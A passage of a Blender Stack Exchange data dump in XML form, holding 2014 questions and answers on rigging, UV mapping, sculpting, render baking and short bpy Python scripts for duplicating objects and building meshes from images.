&lt;code&gt;E&lt;/code&gt; to extrude it down once.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VQjbb.png&quot; alt=&quot;Select &amp;quot;with automatic weights&amp;quot;&quot; /&gt; Back in object mode select your ghost, hold down &lt;code&gt;SHIFT&lt;/code&gt; and then select your armature you just created. Press &lt;code&gt;CTRL&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt; to bring up the menu in the illustration.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tnz51.png&quot; alt=&quot;Animation screen&quot; /&gt; Finally animate the ghost how you like it to look.&lt;/p&gt;&#xA;&lt;p&gt;Here's a GIF of what I came up with:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vWWTN.gif&quot; alt=&quot;Ghost glides across screen&quot; /&gt; Not bad for simple it was to create. More bones gives you more control obviously.&lt;/p&gt;&#xA;" OwnerUserId="5267" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-08T03:41:25.313" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16547" PostTypeId="1" CreationDate="2014-10-08T04:16:02.860" Score="1" ViewCount="1681" Body="&lt;p&gt;I'm looking for a tutorial on how to create a zipper in blender.  For some reason I had it in my head that there was an add-on that did it, but looks like there isn't unless i missed one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a good tutorial on how to add zipper teeth to an already existing mesh (it doesn't have to work as the jacket will be open, i just want the effect.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either that or give me an idiots guide to zipper creation.  I would have thought that with the amount of clothing being made for characters a tutorial would be a lot easier to find.&lt;/p&gt;&#xA;" OwnerUserId="6255" LastEditorUserId="3401" LastEditDate="2014-10-08T06:50:22.663" LastActivityDate="2014-10-08T08:31:41.133" Title="Does anyone know how to create a zipper?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-08T10:08:27.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="16548" PostTypeId="1" AcceptedAnswerId="16549" CreationDate="2014-10-08T04:37:43.883" Score="0" ViewCount="2484" Body="&lt;p&gt;When I render my UV mapped object it shows fine in the design stage but the rendering looks very wrong. What is happening and how do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LMHiz.jpg&quot; alt=&quot;pallet1&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/35jIS.jpg&quot; alt=&quot;pallet2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastActivityDate="2014-10-08T05:18:40.153" Title="UV mapping rendering wrong" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-08T10:08:49.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="16549" PostTypeId="2" ParentId="16548" CreationDate="2014-10-08T05:18:40.153" Score="0" Body="&lt;p&gt;Check your texture setting in the material panel.  Try being in render mode rather than texture mode.  The render mode and texture mode can show different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the texture panel. Select type Image. Open the image. Select Mapping UV Map.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-10-08T05:18:40.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16550" PostTypeId="2" ParentId="16527" CreationDate="2014-10-08T05:30:16.740" Score="-1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Have one piece of paper not a particle.  This item is special and follows a path. Use the follow path constraint.&lt;/li&gt;&#xA;&lt;li&gt;You might consider baking a one particle  .. particle system.  Total 2 particle systems.&lt;/li&gt;&#xA;&lt;li&gt;The camera can follow the path as well thus following the paper as well.&lt;/li&gt;&#xA;&lt;li&gt;The other pieces of paper remain as particles.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-08T06:30:02.743" LastActivityDate="2014-10-08T06:30:02.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16553" PostTypeId="2" ParentId="16513" CreationDate="2014-10-08T06:18:54.950" Score="1" Body="&lt;p&gt;I'm not sure, but I think it's mainly Blender having to deal with more and more meshes. In your case an extra slowdown is introduced by first creating a &quot;tmp&quot; mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you have an improved version of your code, which is a little bit faster, but still slows down after duplicating more objects.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from datetime import datetime&#xA;&#xA;&#xA;def duplicate_object(scene, name, copyOb, iter):&#xA;    startTime = datetime.now()&#xA;&#xA;    mesh = copyOb.data.copy()&#xA;    mesh.name = name&#xA;    ob_new = bpy.data.objects.new(name, mesh)&#xA;&#xA;    scene.objects.link(ob_new)&#xA;&#xA;    print(iter, datetime.now() - startTime)&#xA;&#xA;    return ob_new&#xA;&#xA;for i in range(5000):&#xA;    duplicate_object(bpy.context.scene, &quot;toto&quot;, bpy.data.objects['Cube'], i)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="668" LastActivityDate="2014-10-08T06:18:54.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16554" PostTypeId="2" ParentId="16531" CreationDate="2014-10-08T07:13:22.093" Score="18" Body="&lt;p&gt;See screenshot: The solution was to remove the keying set at the bottom and when selecting the camera, to remove the 2 keying sets that were there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I however have no idea how this was enabled, and at this point of time I also don't know the goal of this keying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After removal, the &lt;kbd&gt;I&lt;/kbd&gt; key worked again.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/abacK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6102" LastActivityDate="2014-10-08T07:13:22.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16556" PostTypeId="1" CreationDate="2014-10-08T08:27:15.463" Score="2" ViewCount="559" Body="&lt;p&gt;These words are often used in reference to new features that aren't in blender by default, but are they all the same thing?&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-10-08T08:27:15.463" Title="What's the difference between addons, plugins and builds?" Tags="&lt;terminology&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16557" PostTypeId="2" ParentId="16556" CreationDate="2014-10-08T08:27:15.463" Score="5" Body="&lt;p&gt;Add-ons (also spelt &lt;strong&gt;addons&lt;/strong&gt;) are python scripts that can be used just by &quot;installing&quot; them (which literally just copies it into the right folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, there is no such thing as a &lt;strong&gt;plug-in&lt;/strong&gt; (or &lt;em&gt;plugin&lt;/em&gt;) for blender, but it's a common term that's sometimes used instead of &lt;em&gt;add-on&lt;/em&gt;, but means the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Builds&lt;/strong&gt; are needed when there are actual changes to blender's source code (not just something like an &lt;em&gt;add-on&lt;/em&gt; you can &lt;em&gt;plug in&lt;/em&gt; ;) ). Often blender's python API doesn't give you enough access to perform the function you need, or is too slow, and thus you need to implement the function directly in the source code and re-compile blender. Compiling blender can be a bit of a bitch, so the dev (or some smart person) will compile it for you and upload the new compiled code (the 'build') somewhere for regular humans to use (graphicall.org usually)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some more info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_quickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quick overview and introduction to the python API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_overview.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;A bit more in-depth overview of the Python API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15355/resources-for-blender/15356#15356&quot;&gt;Where to get add-ons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Docs for building blender yourself: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender/Windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender/Linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender/Mac&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mac&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-10-08T08:27:15.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16559" PostTypeId="1" CreationDate="2014-10-08T08:57:36.103" Score="3" ViewCount="1115" Body="&lt;p&gt;I have a room and a moving camera inside. Everything is static, including lights. &#xA;I am under the impression that there should be a way to theoretically speed up the rendering time tremendously, as ray tracing and other calculations are likely to be duplicated among individual frames. I may be totally mistaken and misunderstanding the basics of rendering though as I couldn't find any related questions in the forum.&lt;/p&gt;&#xA;" OwnerUserId="6396" LastEditorUserId="2217" LastEditDate="2014-10-09T02:04:50.610" LastActivityDate="2014-10-09T02:04:50.610" Title="speed up rendering a static scene with a moving camera" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16560" PostTypeId="1" AcceptedAnswerId="16561" CreationDate="2014-10-08T09:34:28.257" Score="3" ViewCount="7897" Body="&lt;p&gt;I am one of Blenders eternal beginners!&#xA;The brush, inflate, sculpt draw brushes are acting strangely on only one object, on the others they work fine. The vertices seem to displace at an angle of 90 or 180 from which I would expect, the behaviour is unpredictable as far as I can see.I have tried adjusting with no luck, I even updated from 2.71 to 2.72 and the problem persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31967&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/31967&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5049" LastActivityDate="2020-07-29T16:36:39.797" Title="sculpt tools act in incorrect direction" Tags="&lt;sculpting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16561" PostTypeId="2" ParentId="16560" CreationDate="2014-10-08T11:09:46.777" Score="3" Body="&lt;p&gt;Since sculpting tools usually act based on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Mesh_Structures#Normals&quot; rel=&quot;nofollow noreferrer&quot;&gt;normals&lt;/a&gt; of vertices (e.g: an additive inflate &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Sculpt_Mode#Sculpt_Brushes&quot; rel=&quot;nofollow noreferrer&quot;&gt;brush&lt;/a&gt; will push verts forwards along their normals, and a subtractive one will push them the other way), there are a couple causes for this. The most common of which are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Inverted normals:&lt;/strong&gt; If the vertex normals are inversed, sculpting will act in the opposite of the expected direction. &lt;br/&gt; &lt;strong&gt;Solution:&lt;/strong&gt; Go into edit mode, select everything, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; or &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to recalculate normals or flip them from the specials menu (&lt;kbd&gt;W&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Negative scale:&lt;/strong&gt; Scale will cause the vertex normals to be reversed - thus have the same effect as mentioned above. &lt;br/&gt; &lt;strong&gt;Solution:&lt;/strong&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Reset_Object_Transformations#Apply_Object_transformations&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apply&lt;/a&gt; the scale in object mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;), or reset it (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Non-uniform scale:&lt;/strong&gt; This won't cause the sculpt direction to be inverted, but it will cause strange and often unpredictable issues such as a narrower/wider than expected brush radius. &lt;br/&gt; &lt;strong&gt;Solution:&lt;/strong&gt; Same as above.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;As with any issue in Blender, the two first things you should check are whether the normal directions are correct and the object scale is uniform and positive.&lt;/p&gt;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://blender.stackexchange.com/questions/7298/why-is-it-important-to-apply-transformation/7349#7349&quot;&gt;Why is it important to apply transformation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="102237" LastEditDate="2020-07-29T16:36:39.797" LastActivityDate="2020-07-29T16:36:39.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16562" PostTypeId="1" AcceptedAnswerId="16564" CreationDate="2014-10-08T11:29:50.897" Score="4" ViewCount="1266" Body="&lt;p&gt;How to get all of the groups an object is assigned to in Blender Python?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.data.objects: # All objects&#xA;    # TODO: Retrieve the groups of obj.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6397" LastActivityDate="2014-10-08T11:51:00.490" Title="How to retrieve the groups of an object?" Tags="&lt;python&gt;&lt;objects&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16563" PostTypeId="1" AcceptedAnswerId="16600" CreationDate="2014-10-08T11:38:56.640" Score="8" ViewCount="7918" Body="&lt;p&gt;I am interested in exporting and importing 3d models using blender via the command line, as mentioned in &lt;a href=&quot;https://blender.stackexchange.com/questions/1365/how-can-i-run-blender-from-command-line-or-a-python-script-without-opening-a-gui&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I want to know how I can import and export the models in blender with python using this method?&lt;/p&gt;&#xA;" OwnerUserId="6398" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-09T12:15:45.553" Title="How can I run blender from the command line to export and import models" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16564" PostTypeId="2" ParentId="16562" CreationDate="2014-10-08T11:51:00.490" Score="5" Body="&lt;p&gt;Found it myself: Use &lt;code&gt;obj.users_group&lt;/code&gt;, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.data.objects: # All objects&#xA;    for group in obj.users_group: # All groups&#xA;        # Do something, e.g. use group.name to find specific groups.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6397" LastActivityDate="2014-10-08T11:51:00.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16565" PostTypeId="2" ParentId="16559" CreationDate="2014-10-08T14:28:01.583" Score="2" Body="&lt;p&gt;&lt;strong&gt;The answer is yes, but first I would like to explain something.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles is what is called a &lt;a href=&quot;http://en.wikipedia.org/wiki/Ray_tracing_(graphics)&quot; rel=&quot;nofollow&quot;&gt;backwards ray tracing&lt;/a&gt; engine.  This means that it sends photons (rays) &lt;em&gt;from the camera&lt;/em&gt; instead of from light sources.  It then traces the ray backwards through the scene &lt;em&gt;until it hits a light source&lt;/em&gt; or goes off into space, it then figures out what color that pixel should be based on what the ray hit.  You can read more in the Wikipedia article I linked.  But basically the jist is that rendering &lt;em&gt;as normal&lt;/em&gt;, since the rays are coming from the camera (which is what is moving), you can't speed up rendering of a static scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, there is a process called &lt;em&gt;texture baking&lt;/em&gt; which allows you to tell blender to calculate the photons in the scene and “bake” what each object looks like to a texture, which you then assign to the object as an emission shader.  Then when you render your scene as normal it is only calculating emission shaders which is much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew Price has a very good tutorial on &lt;a href=&quot;http://www.blenderguru.com/tutorials/introduction-baking-cycles/#.VDVJfJUtDX4&quot; rel=&quot;nofollow&quot;&gt;getting started with cycles baking&lt;/a&gt; that I recommend you watch.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-10-08T14:28:01.583" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16566" PostTypeId="2" ParentId="16500" CreationDate="2014-10-08T14:50:10.163" Score="0" Body="&lt;p&gt;blender.exe is about 500Kb in size while blender-app.exe is 76MB, so I think that now the main executable is blender-app.exe, and blender.exe is a launcher made for backwards compatibility. In my opinion, you can use both indifferently. I'm using blender.exe and it works as before.&lt;/p&gt;&#xA;" OwnerUserId="952" LastActivityDate="2014-10-08T14:50:10.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16567" PostTypeId="1" CreationDate="2014-10-08T15:17:56.547" Score="1" ViewCount="39" Body="&lt;p&gt;How can I make a stencil control more than one textures? I got it to work with only one but each image has 4 channels for RGBA so how can I use them all separately?&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2014-10-08T20:25:34.320" Title="Storing more data with stencils" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16569" PostTypeId="2" ParentId="16523" CreationDate="2014-10-08T16:12:46.840" Score="21" Body="&lt;p&gt;I solved it! In the &lt;strong&gt;Curve Properties&lt;/strong&gt; menu, &lt;strong&gt;Twisting&lt;/strong&gt; should be set to &lt;strong&gt;Z-up&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes all handle tilts level to one axis, and from there, I can tilt them all together or one at a time to get my desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IeJAQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the final result, with no errant twisting or rotating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wPTZ7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6384" LastActivityDate="2014-10-08T16:12:46.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16570" PostTypeId="2" ParentId="16516" CreationDate="2014-10-08T16:13:31.447" Score="3" Body="&lt;p&gt;Here's a brutal version of the voxel solution some people have suggested: &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/thicken-texture.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/thicken-texture.html&lt;/a&gt;.  Performance is going to be horrible, but it seems to work when I use the sapling_jungle.png from minecraft.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a copy in-line in case the hyperlink isn't working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;class VertexAccumulator:&#xA;    # use this class when you can't come up with a good deterministic numbering scheme for your vertices.&#xA;&#xA;    def __init__(self):&#xA;        self.verts_ = []&#xA;        self.vertIdxs = {}&#xA;&#xA;    def keyFor(v):&#xA;        return &quot;%f,%f,%f&quot;%(v[0], v[1], v[2])&#xA;&#xA;    def idxFor(self, v):&#xA;        key = VertexAccumulator.keyFor(v)&#xA;        rval = self.vertIdxs.get(key)&#xA;        if None==rval:&#xA;            rval = len(self.verts_)&#xA;            self.vertIdxs[key] = rval&#xA;            self.verts_.append(v)&#xA;        return rval&#xA;&#xA;    def verts(self):&#xA;        return self.verts_&#xA;&#xA;def getAlpha(img, x, y):&#xA;    w,h = img.size&#xA;    if x&amp;lt;0 or x&amp;gt;= w or y&amp;lt;0 or y&amp;gt;=h:&#xA;        return 0&#xA;    o = x + y * w&#xA;    return img.pixels[o*4+3]&#xA;&#xA;&#xA;def addFaceAndUV(verts, faces, uvs, va, width, height, uv_adj_x=0, uv_adj_y=0):&#xA;&#xA;    faces.append([ va.idxFor(v) for v in verts])&#xA;&#xA;    uvForFace = [ [(v[0]+uv_adj_x)/width, (v[1]+uv_adj_y)/height] for v in verts ]&#xA;    uvs.append(uvForFace)&#xA;&#xA;&#xA;def addFaces(x, y, width, height, faces, img, uvs, va):&#xA;    a = getAlpha(img, x, y)&#xA;    if (a &amp;gt; 0):&#xA;        addFaceAndUV([[x, y, 0],&#xA;            [x + 1, y, 0],&#xA;            [x + 1, y + 1, 0],&#xA;            [x, y + 1, 0]], faces, uvs, va, width, height)&#xA;&#xA;        addFaceAndUV([ [x, y, -1],&#xA;                  [x, y + 1, -1],&#xA;                  [x + 1, y + 1, -1],&#xA;                  [x + 1, y, -1] ], faces, uvs, va, width, height)&#xA;&#xA;        if getAlpha(img, x - 1, y) &amp;lt;= 0:&#xA;            addFaceAndUV([[x, y, 0],&#xA;                [x, y +1, 0],&#xA;                [x, y +1, -1],&#xA;                [x, y, -1],], faces, uvs, va, width, height, 0.01, 0)&#xA;        if getAlpha(img, x + 1, y) &amp;lt;= 0:&#xA;            addFaceAndUV([[x + 1, y, 0],&#xA;                [x + 1, y, -1],&#xA;                [x + 1, y + 1, -1],&#xA;                [x + 1, y + 1, 0],], faces, uvs, va, width, height, -0.01,0)&#xA;&#xA;        if getAlpha(img, x, y - 1) &amp;lt;= 0:&#xA;            addFaceAndUV([[x, y, 0],&#xA;                [x, y, -1],&#xA;                [x + 1, y, -1],&#xA;                [x + 1, y, 0],], faces, uvs, va, width, height, 0, 0.01)&#xA;&#xA;        if getAlpha(img, x, y +1) &amp;lt;= 0:&#xA;            addFaceAndUV([[x, y + 1, 0],&#xA;                [x + 1, y + 1, 0],&#xA;                [x + 1, y + 1, -1],&#xA;                [x, y + 1, -1],], faces, uvs, va, width, height, 0, -0.01)&#xA;&#xA;&#xA;def makeMeshForImage(img, name):&#xA;    width,height = img.size&#xA;    print (height)&#xA;&#xA;    va = VertexAccumulator()&#xA;    faces = []&#xA;    uvs = []&#xA;&#xA;    for y in range(height):&#xA;        for x in range(width):&#xA;            addFaces(x, y, width, height, faces, img, uvs, va)&#xA;&#xA;    mesh = bpy.data.meshes.new(name)&#xA;    mesh.from_pydata(va.verts(), [] , faces)&#xA;&#xA;    apply_UVs(mesh, uvs)&#xA;&#xA;    set_preview_tex(mesh, img)&#xA;&#xA;    return mesh&#xA;&#xA;&#xA;def apply_UVs(mesh, uvs):&#xA;    # add a UV layer called &quot;spiral&quot; and make it slanted.&#xA;    mesh.uv_textures.new(&quot;simple&quot;)&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(mesh)&#xA;&#xA;    uv_layer = bm.loops.layers.uv[0]&#xA;&#xA;    nFaces = len(bm.faces)&#xA;    for fi in range(nFaces):&#xA;        x0 = fi*2/nFaces&#xA;        x1 = (fi+1)*2/nFaces&#xA;        for j in range(len(uvs[fi])):&#xA;            bm.faces[fi].loops[j][uv_layer].uv = uvs[fi][j]&#xA;    bm.to_mesh(mesh)&#xA;&#xA;# put the image behind the UV layer for the times when you're using the Multitexture shader on the 3D view.&#xA;def set_preview_tex(mesh, img):&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(mesh)&#xA;    tl = bm.faces.layers.tex.active&#xA;    if tl:&#xA;        for f in bm.faces:&#xA;            f[tl].image = img&#xA;    bm.to_mesh(mesh)&#xA;&#xA;def material_for(img):&#xA;    rval = bpy.data.materials.get(img.name)&#xA;&#xA;    if rval is None:&#xA;        tex = bpy.data.textures.new(img.name, 'IMAGE')&#xA;        tex.image = img&#xA;        tex.use_interpolation=False&#xA;        tex.filter_type = 'BOX'&#xA;&#xA;        rval = bpy.data.materials.new(img.name)&#xA;        rval.texture_slots.add()&#xA;        rval.texture_slots[0].texture = tex&#xA;        rval.texture_slots[0].texture_coords = 'UV'&#xA;        rval.texture_slots[0].uv_layer = 'simple'&#xA;&#xA;    return rval&#xA;&#xA;def makeObjForImage(img, name):&#xA;    mesh = makeMeshForImage(img, name)&#xA;    obj = bpy.data.objects.new(name, mesh)&#xA;    w,h = img.size&#xA;    obj.scale = [1.0/w, 1.0/h, 1.0/w]&#xA;&#xA;    mesh.materials.append(material_for(img))&#xA;&#xA;    return obj&#xA;&#xA;img = bpy.data.images[&quot;sapling_jungle.png&quot;]&#xA;obj = makeObjForImage(img, img.name)&#xA;scn = bpy.context.scene&#xA;scn.objects.link(obj)&#xA;scn.objects.active = obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-10-08T16:13:31.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16571" PostTypeId="2" ParentId="16567" CreationDate="2014-10-08T16:19:46.867" Score="2" Body="&lt;p&gt;Use compositing nodes in blender to for pixel image processing.  We  used a  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[Separate RGBA Node] and selected the R .. Red Channel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Create an image sequence if that suits you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FCXWj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the image above we used a 3D scene with red and green object.  &lt;/li&gt;&#xA;&lt;li&gt;In the compositing node view.  We view the red channel as intensity gray ...for red ball.  The green ball appears as black. I have clicked on a particular node to change the backgroud image of the nodes. &lt;/li&gt;&#xA;&lt;li&gt;In the lower left is a file input if that suits you for a image on your hard disk.  Otherwise you could map your images onto a plane.&lt;/li&gt;&#xA;&lt;li&gt;I did not connect the file composite output ... so I could have many images in one screen shot. Connect the image you want to the final output.  &lt;/li&gt;&#xA;&lt;li&gt;There are many good videos on a video site such as youtube as a random example. Search Blender Compositing Nodes.  Once you see a video these nodes will seem simple.  Please excuse my noodle soup.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-08T16:29:35.163" LastActivityDate="2014-10-08T16:29:35.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16572" PostTypeId="2" ParentId="16468" CreationDate="2014-10-08T18:07:21.727" Score="1" Body="&lt;p&gt;Not sure what the issue was exactly, but apparently it was with my export. After downgrading to Blender 2.49 and installing the Blender NIF scripts, I was able to export the mesh directly as a NIF (instead of OBJ, then NIF) and now the textures work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By having both versions of Blender installed, I can work in 2.71 with its much-improved interface, then open the *.blend file in 2.49 to export it as a NIF.&lt;/p&gt;&#xA;" OwnerUserId="1699" LastActivityDate="2014-10-08T18:07:21.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16574" PostTypeId="2" ParentId="16513" CreationDate="2014-10-08T18:19:50.993" Score="1" Body="&lt;p&gt;A variation which recycles a single mesh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def army(mesh):&#xA;    scn = bpy.context.scene&#xA;    for r in range(10):&#xA;        for c in range(4):&#xA;            obj = bpy.data.objects.new(&quot;army&quot;, mesh)&#xA;            obj.location = ( r*3, c*3, 2)&#xA;            scn.objects.link(obj)&#xA;&#xA;army(bpy.data.meshes[&quot;Cube&quot;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's a fragment that uses dupligroup empties:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.data.objects.new(name, None)&#xA;ob.dupli_type = 'GROUP'&#xA;ob.dupli_group = bpy.data.groups['prototype cube']&#xA;ob.location = (x,y,z)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-10-08T18:19:50.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
